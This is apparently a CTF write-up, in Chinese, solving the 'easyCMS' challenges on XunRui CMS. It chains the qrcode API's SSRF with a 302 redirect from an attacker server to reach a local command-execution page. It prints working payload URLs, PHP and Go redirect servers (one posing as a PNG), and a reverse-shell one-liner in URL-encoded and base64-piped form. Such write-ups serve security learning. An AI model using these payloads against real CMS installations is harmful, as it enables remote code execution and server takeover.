[cms,SSRF302跳转]国赛初赛-easyCMS

发布于 2024-08-06  349 次阅读


国赛-easyCMS复现

第一次做CMS题
是一个讯睿的CMS:
image_mak
题目提示自己加了flag.php:

<?php

if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
   echo "Just input 'cmd' From 127.0.0.1";
   return;
}else{
   system($_GET['cmd']);
}
?>

很明显要SSRF来RCE了
去讯睿官网查讯睿的历史漏洞,有一个SSRF漏洞
image_mak
qrcode存在SSRF漏洞,项目文件夹搜一下qrcode,在dayrui/Fcms/Control/Api/Api.php内,有一个应该是api接口处理的函数:

public function qrcode() {

image_mak
找到SSRF的点:getimagesize()可以从本地文件系统或远程获取一张图片的信息
并且这里$thumb应该是可控的
去官方文档查一下此api的用法:
image_mak
直接构造payload:?s=api&c=api&m=qrcode&thumb=http://127.0.0.1/flag.php?cmd=sleep%205&text=1&size=1&level=1
ctfshow的环境居然能打,扶了,当时比赛的时候127.0.0.1是被过滤的
利用302跳转可以绕过
vps起一个302跳转的服务,引导靶机跳转到127.0.0.1/flag.php
注意这里的cmd参数要进行url全编码

<?php
    header("Location:http://127.0.0.1/flag.php?cmd=php%20%2Dr%20%27%24sock%3Dfsockopen%28%22ip%22%2Cport%29%3Bexec%28%22sh%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27",true,302);
    exit();
    ?>

vps监听3000端口成功接收到shell
image_mak
ctfshow环境问题,弹到的shell输入命令没反应,一会就断了

easyCMS_Revenge

Rev版本修了getimagesize的302跳转,但是qrcode函数里后面还有一个dr_catcher_data()也能发起请求,进行SSRF
image_mak
跟进
image_mak
当传入的$thumb参数为http开头的时候会进行curl_exec发起curl请求
前提是绕过之前的合法图片判断,也就是说要先让getimagesize()不为false,那就是我们的302服务要伪装成一张图片

<?php
// 打印请求者信息
$remoteAddr = $_SERVER['REMOTE_ADDR'];
$requestMethod = $_SERVER['REQUEST_METHOD'];
$requestUri = $_SERVER['REQUEST_URI'];

echo $remoteAddr . " " . $requestMethod . " " . $requestUri . "\n";

header("Location: http://127.0.0.1/flag.php?cmd=php%20%2Dr%20%27%24sock%3Dfsockopen%28%22ip%22%2Cport%29%3Bexec%28%22sh%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27");

header("Content-Type: image/png");

http_response_code(302);

$filename = 'logo.png';
if (file_exists($filename)) {

    readfile($filename);
} else {
    echo "File not found";
}
?>

没环境没测过,wp里写的Go服务:

package main

import (
    "fmt"
    "net/http"
    "os"
)

func main() {
    http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
       fmt.Println(r.RemoteAddr + " " + r.Method + " " + r.URL.Path)

       // 设置 Location 头
       w.Header().Set("Location", "http://127.0.0.1/flag.php?cmd=echo cGhwIC1yICckc29jaz1mc29ja29wZW4oImlwIixwb3J0KTtleGVjKCJzaCA8JjMgPiYzIDI+JjMiKTsn|base64 -d|bash")
       // 设置 Content-Type 头
       w.Header().Set("Content-Type", "image/png")
       // 设置状态码 302
       w.WriteHeader(http.StatusFound)

       // 读取并写入 logo.png 文件内容
       bs, err := os.ReadFile("logo.png")
       if err != nil {
          http.Error(w, "File not found", http.StatusNotFound)
          return
       }
       w.Write(bs)
    })

    http.ListenAndServe(":8888", nil)
}
A web ctfer from 0RAYS
最后更新于 2024-08-24